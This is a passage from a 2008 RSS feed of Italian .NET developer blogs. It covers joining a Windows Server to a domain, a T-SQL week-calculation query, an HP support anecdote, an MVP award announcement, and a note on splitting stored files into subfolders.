/&gt;RebootOnSuccess=Yes&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled10_2.jpg" target="_blank"&gt;&lt;img title="Untitled10" style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="484" alt="Untitled10" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled10_thumb.jpg" width="561" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;8) A questo punto possiamo aggingere le nostre macchine al dominio.   &lt;br /&gt;Impostando come dns primario l’indirizzo ip della macchina che fa da domain controller e settando il nome del dominio all’interno delle schermata delle proprietà del computer.    &lt;br /&gt;Ci verrà riciesto di riavviare la macchina e saremo opertivi.    &lt;br /&gt;&lt;a href="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled12_2.jpg" target="_blank"&gt;&lt;img title="Untitled12" style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="309" alt="Untitled12" src="http://blogs.ugidotnet.org/images/blogs_ugidotnet_org/rcappe/WindowsLiveWriter/InstallareWindowsServer2008ServerCorecon_14156/Untitled12_thumb.jpg" width="263" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/rcappe/aggbug/93249.aspx" width="1" height="1" /&gt;</description><dc:creator>Roberto Cappelletti</dc:creator></item><item><title>&amp;quot;sindrome dei contenuti in perenne ritardo&amp;quot;</title><link>http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/01/93248.aspx</link><pubDate>Tue, 01 Jul 2008 17:20:15 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/01/93248.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/PietroLibroBlog/comments/93248.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/PietroLibroBlog/comments/commentRss/93248.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/PietroLibroBlog/archive/2008/07/01/93248.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/PietroLibroBlog/services/trackbacks/93248.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/PietroLibroBlog/rss.aspx">&amp;quot;sindrome dei contenuti in perenne ritardo&amp;quot;</source><description>&lt;p&gt;Un collega mi ha inviato un link ad un &lt;a href="http://webdesign.html.it/articoli/leggi/2657/curare-la-sindrome-dei-contenuti-in-perenne-ritardo/2/" target="_blank"&gt;articolo&lt;/a&gt;  riguardante la gestione dei contenuti del web. E' stata una piacevole lettura, forse può interessare ad altri.&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/PietroLibroBlog/aggbug/93248.aspx" width="1" height="1" /&gt;</description><dc:creator>Pietro Libro</dc:creator></item><item><title>[OT] Assistenza HP</title><link>http://blogs.ugidotnet.org/matteomigliore/archive/2008/07/01/otassistenza-hp.aspx</link><pubDate>Tue, 01 Jul 2008 16:55:39 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/matteomigliore/archive/2008/07/01/otassistenza-hp.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/matteomigliore/comments/93247.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/matteomigliore/comments/commentRss/93247.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/matteomigliore/archive/2008/07/01/otassistenza-hp.aspx#comment</comments><slash:comments>1</slash:comments><trackback:ping>http://blogs.ugidotnet.org/matteomigliore/services/trackbacks/93247.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/matteomigliore/rss.aspx">[OT] Assistenza HP</source><description>Questo pomeriggio ho deciso di contattare l'assistenza HP per chiedere i drivers aggiornati della scheda video del mio notebook.   &lt;br /&gt;Ho trovato quelli per XP ma non per Vista.   &lt;br /&gt;  &lt;br /&gt;Questa è parte della conversazione:   &lt;hr /&gt;&lt;font color="#1351df"&gt;Matteo Migliore: I cannot install the drivers&lt;/font&gt;   &lt;br /&gt;&lt;font color="#d51111"&gt;Aniyah: Please let me know what happens when you try to install the drivers.&lt;/font&gt;   &lt;br /&gt;&lt;font color="#1351df"&gt;Matteo Migliore: I received this error: "The system does not meet the minimum requirements."&lt;/font&gt;   &lt;br /&gt;&lt;font color="#d51111"&gt;Aniyah: Thank you for the information.    &lt;br /&gt;Aniyah: I suggest you to purchase a new Notebook the pair costs nearly the costs of teh new Notebook.     &lt;br /&gt;Aniyah: Am I clear to you?     &lt;br /&gt;&lt;/font&gt;  &lt;hr /&gt;  &lt;br /&gt;Ahahahahah, avranno fumato qualcosa?  &lt;br /&gt;  &lt;br /&gt;Matteo Migliore.&lt;img src="http://blogs.ugidotnet.org/matteomigliore/aggbug/93247.aspx" width="1" height="1" /&gt;</description><dc:creator>Matteo Migliore</dc:creator></item><item><title>Sql server gestire le settimane</title><link>http://blogs.ugidotnet.org/alessage/archive/2008/07/01/93246.aspx</link><pubDate>Tue, 01 Jul 2008 15:03:49 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/alessage/archive/2008/07/01/93246.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/alessage/comments/93246.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/alessage/comments/commentRss/93246.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/alessage/archive/2008/07/01/93246.aspx#comment</comments><slash:comments>0</slash:comments><trackback:ping>http://blogs.ugidotnet.org/alessage/services/trackbacks/93246.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/alessage/rss.aspx">Sql server gestire le settimane</source><description>&lt;div style="background: white none repeat scroll 0% 0%; font-size: 10pt; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; color: black; font-family: Courier New;"&gt;
&lt;p style="margin: 0px; font-family: Times New Roman;"&gt;&lt;span style="color: blue;"&gt;select   cast&lt;/span&gt;(&lt;span style="color: blue;"&gt;CONVERT&lt;/span&gt;(&lt;span style="color: blue;"&gt;char&lt;/span&gt;(10), &lt;span style="color: blue;"&gt;getdate&lt;/span&gt;(), 110) &lt;span style="color: blue;"&gt;as datetime&lt;/span&gt;) [today]&lt;/p&gt;
&lt;p style="margin: 0px; font-family: Times New Roman;"&gt;,        &lt;span style="color: blue;"&gt;datename&lt;/span&gt;(dw, &lt;span style="color: blue;"&gt;getdate&lt;/span&gt;()) [day]&lt;/p&gt;
&lt;p style="margin: 0px; font-family: Times New Roman;"&gt;,        &lt;span style="color: blue;"&gt;datepart&lt;/span&gt;(dw, &lt;span style="color: blue;"&gt;getdate&lt;/span&gt;()-1) [day of week]&lt;/p&gt;
&lt;p style="margin: 0px; font-family: Times New Roman;"&gt;,        &lt;span style="color: blue;"&gt;datepart&lt;/span&gt;(dw, &lt;span style="color: blue;"&gt;getdate&lt;/span&gt;()-1)-1 [days since monday]&lt;/p&gt;
&lt;p style="margin: 0px; font-family: Times New Roman;"&gt;,        7-&lt;span style="color: blue;"&gt;datepart&lt;/span&gt;(dw, &lt;span style="color: blue;"&gt;getdate&lt;/span&gt;()-1) [days until sunday]&lt;/p&gt;
&lt;p style="margin: 0px; font-family: Times New Roman;"&gt;,        &lt;span style="color: blue;"&gt;cast&lt;/span&gt;(&lt;span style="color: blue;"&gt;CONVERT&lt;/span&gt;(&lt;span style="color: blue;"&gt;char&lt;/span&gt;(10), (&lt;span style="color: blue;"&gt;getdate&lt;/span&gt;()-(&lt;span style="color: blue;"&gt;datepart&lt;/span&gt;(dw, &lt;span style="color: blue;"&gt;getdate&lt;/span&gt;()-1)-1)), 110) &lt;span style="color: blue;"&gt;as datetime&lt;/span&gt;) [monday]&lt;/p&gt;
&lt;p style="margin: 0px; font-family: Times New Roman;"&gt;,        &lt;span style="color: blue;"&gt;cast&lt;/span&gt;(&lt;span style="color: blue;"&gt;CONVERT&lt;/span&gt;(&lt;span style="color: blue;"&gt;char&lt;/span&gt;(10), (&lt;span style="color: blue;"&gt;getdate&lt;/span&gt;()+(7-&lt;span style="color: blue;"&gt;datepart&lt;/span&gt;(dw, &lt;span style="color: blue;"&gt;getdate&lt;/span&gt;()-1))), 110) &lt;span style="color: blue;"&gt;as datetime&lt;/span&gt;) [sunday]&lt;/p&gt;
&lt;p style="margin: 0px;"&gt; &lt;/p&gt;
&lt;p style="margin: 0px;"&gt;query utile quando si devono trattare le settimane...&lt;br /&gt;
&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://blogs.ugidotnet.org/alessage/aggbug/93246.aspx" width="1" height="1" /&gt;</description><dc:creator>Alessandro Gervasoni</dc:creator></item><item><title>MVP Again, anche quest'anno!</title><link>http://blogs.ugidotnet.org/Box/archive/2008/07/01/mvp-again-anche-questanno.aspx</link><pubDate>Tue, 01 Jul 2008 15:22:00 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/Box/archive/2008/07/01/mvp-again-anche-questanno.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/Box/comments/93245.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/Box/comments/commentRss/93245.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/Box/archive/2008/07/01/mvp-again-anche-questanno.aspx#comment</comments><slash:comments>4</slash:comments><trackback:ping>http://blogs.ugidotnet.org/Box/services/trackbacks/93245.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/Box/rss.aspx">MVP Again, anche quest'anno!</source><description>&lt;p&gt;Questo periodo è a dir poco frenetico, tanti progetti che devono essere chiusi prima dell'estate, clienti ansiosni per il caldo, PC che rallentano, progetti personali che slittano, email che si affollano senza risposta.... malgrado questo, ho avuto pochi minuti fa la gioia di vedermi riconfermato l'&lt;a href="http://mvp.support.microsoft.com/" target="_blank"&gt;MVP Award&lt;/a&gt;! Che dire, un grazie sincero ad &lt;a href="http://blogs.technet.com/alead_msft/" target="_blank"&gt;Ale&lt;/a&gt; (si si, me la ricordo la survey :P), a Microsoft che continua a credere in me, ed a tutti i miei compagni MVP!  :)&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/Box/aggbug/93245.aspx" width="1" height="1" /&gt;</description><dc:creator>Alessandro Ghizzardi</dc:creator></item><item><title>Scelte di design</title><link>http://blogs.ugidotnet.org/rgm/archive/2008/07/01/93244.aspx</link><pubDate>Tue, 01 Jul 2008 15:20:13 GMT</pubDate><guid isPermaLink="true">http://blogs.ugidotnet.org/rgm/archive/2008/07/01/93244.aspx</guid><wfw:comment>http://blogs.ugidotnet.org/rgm/comments/93244.aspx</wfw:comment><wfw:commentRss>http://blogs.ugidotnet.org/rgm/comments/commentRss/93244.aspx</wfw:commentRss><comments>http://blogs.ugidotnet.org/rgm/archive/2008/07/01/93244.aspx#comment</comments><slash:comments>2</slash:comments><trackback:ping>http://blogs.ugidotnet.org/rgm/services/trackbacks/93244.aspx</trackback:ping><source url="http://blogs.ugidotnet.org/rgm/rss.aspx">Scelte di design</source><description>&lt;p&gt;Ci sono delle volte in cui le scelte di design non sono fatte propriamente benissimo.&lt;/p&gt;  &lt;p&gt;Purtroppo stavolta debbo fare mea culpa io, in un progetto debbo memorizzare alcuni file legati a dei record di un database, per non appesantire il db ho deciso di metterli tutti in una cartella.&lt;/p&gt;  &lt;p&gt;Peccato che quando i file diventano decine di migliaia poi la cartella non sia più browsabile, il sistema infatti fatica tantissimo per gestire una cartella con quella mole di file. Il fatto è che a livello di codice accedere al file non è pesante, conoscendo l'id del record posso conoscere il nome del file e gestirlo è uno scherzo, ma la cartella è comunque inutilizzabile a livello di interfaccia utente.&lt;/p&gt;  &lt;p&gt;La soluzione è stata semplicemente quella di modificare il criterio di generazione del nome del file per fare in modo che i file vengano spannati su più sottocartelle per rendere il tutto più gestibile anche da interfaccia utente. Dato che il nome del file è comunque generato in base all'id intero del record a cui è correlato, è bastato creare il nome del file con un formato "000000000000", quindi spezzare il nome in gruppi di tre cifre per spostarlo su sottocartelle. Ad esempio se l'id del record è 12145 il nome del file è 000000012145.txt e la cartella è D:\cartelladibase\000\000\012\000000012145.txt. In questo modo in ogni cartella finale ci sono 1000 files. Ora ho lanciato uno script che sposta i file nella nuova struttura e poi verificherò nuovamente la gestibilità delle cartelle da interfaccia utente.&lt;/p&gt;  &lt;p&gt;Della serie, scelte di design poco sagge. :D&lt;/p&gt;  &lt;p&gt;alk.&lt;/p&gt;&lt;img src="http://blogs.ugidotnet.org/rgm/aggbug/93244.aspx" width="1" height="1" /&gt;</description><dc:creator>Gian Maria  Ricci</dc:creator></item></channel></rss>